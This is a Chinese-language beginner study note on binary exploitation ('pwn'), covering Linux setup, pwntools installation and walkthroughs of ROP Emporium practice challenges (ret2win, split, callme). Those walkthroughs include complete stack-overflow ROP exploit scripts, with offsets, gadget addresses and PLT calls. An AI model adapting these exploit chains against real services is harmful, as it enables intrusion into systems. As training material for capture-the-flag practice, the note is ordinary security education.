pwn知识

什么是pwn

Pwn可以简单概括为软件的漏洞的挖掘和利用(二进制攻防)。

涉及到的知识

涉及计算机学科的众多方向,而且大多偏底层。包括不限于,C语言,C++,python,数 据结构,计算机组成原理,操作系统,编译原理,计算机网络等。

linux基础

虚拟机:Ubuntu版本不限(但是以后做题的时候会用到不同版本的Ubuntu,具体题目具体分析)

基本命令:

ls命令 dir

就是 list 的缩写,通过 ls 命令不仅可以查看 linux 文件夹包含的文件,而且可以查看文件权限(包括目录、文件夹、文件权限)查看目录信息等等。

cd 命令

cd(changeDirectory) 命令语法:

cd [目录名] 

说明:切换当前目录至 dirName。

mkdir filename

创建文件夹。

python安装

sudo apt-get install  python

安装。(只能安装库中有的软件程序)

sudo apt-get update

sudo apt-get upgrade
  • 安装 git,gdb

    sudo apt-get install git 
    sudo apt-get install gdb 
  • pip安装

    sudo apt-get install python3-pip
  • 安装pwntools

    pip3 install pwntools

PWN类型

栈漏洞,堆漏洞,格式化字符串漏洞,整型漏洞,逻辑漏洞

buuctf 第二排第三个 level0

push_pop.png

这里写图片描述

pwn练习

ROP Emporium

ret2win

测偏移

cyclic 0x32

image-20201107143639149

cyclic(0x32).find(‘kaaalaaam’)

image-20201107143659414

image-20201107143749971

找到system函数地址

exp

from pwn import *

context.log_level='debug'

p = process('./ret2win')
p = remote('',***)

system_addr = 0x0400824

payload = 'a'*40+p64(system_addr)   #0x20+8

p.sendline(payload)

p.interactive()

split

x64传参方式:

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样

image-20201107150058709

需要bin/sh或者cat flag

image-20201107151048320

测偏移,详情见上题

使用ROPgadget

ROPgadget --binary ./split --only'pop|ret'

image-20201107151349027

exp

from pwn import *

p = process('./split')
#elf = ELF('./split')

system_addr = 0x00400810
#system_addr = elf.symbols['system']
cat_flag_addr = 0x00601060
pop_rdi_ret = 0x00400883

payload = 'A'*40+p64(pop_rdi_ret)+p64(cat_flag_addr)+p64(system_addr)

p.sendline(payload)
p.interactive()

callme

IDA 启动!

字符串分析

image-20210824161900784

IDA_字符串检查

  • libcallme.so : 之前文件夹里面的libcallme库

  • callme one/two/three : 可能为libcallme中的函数

    image-20210824161923243

    usefulFuction

    这个函数使得我们可以调用callme one/two/three,并且得知这三个函数分别需要三个参数

libcallme.so

image-20210824161935651

libcallme

果然,三个函数在这里

函数分析

1.callme_one

image-20210824161946434

callme_one

发现它的作用是读取已经加密了的flag.txt

2.callme_two

image-20210824161956592

callme_two

发现是利用key1.dat进行一些解密工作

3.callme_three

image-20210824162005281

callme_three

和callme_two差不多,也是进行解密工作

分析漏洞点函数

image-20210824162014681

pwnme

是pwnme函数的一个fgets溢出漏洞
同样得到偏移值0x20+8

查看plt表

image-20210824162025678

plt表

得到地址

callme_one = 0x401850
callme_two = 0x401870
callme_three = 0x401810

思路

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址

其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GO表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

exp

from pwn import *

context.log_level = 'debug'
#context.terminnal = ['gnome-terminal','-e']
p = process('./callme')
elf = ELF('./callme')

#0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
pppad = 0x00401ab0
callme_three = elf.plt['callme_three']
callme_two = elf.plt['callme_two']
callme_one = elf.plt['callme_one']

#gdb.attach(p)

payload = 'a' * 40
payload += p64(pppad+3)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_one)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_two)
payload += p64(pppad) +p64(1) +p64(2) + p64(3) + p64(callme_three)

p.recvuntil('>')
p.sendline(payload)

p.interactive()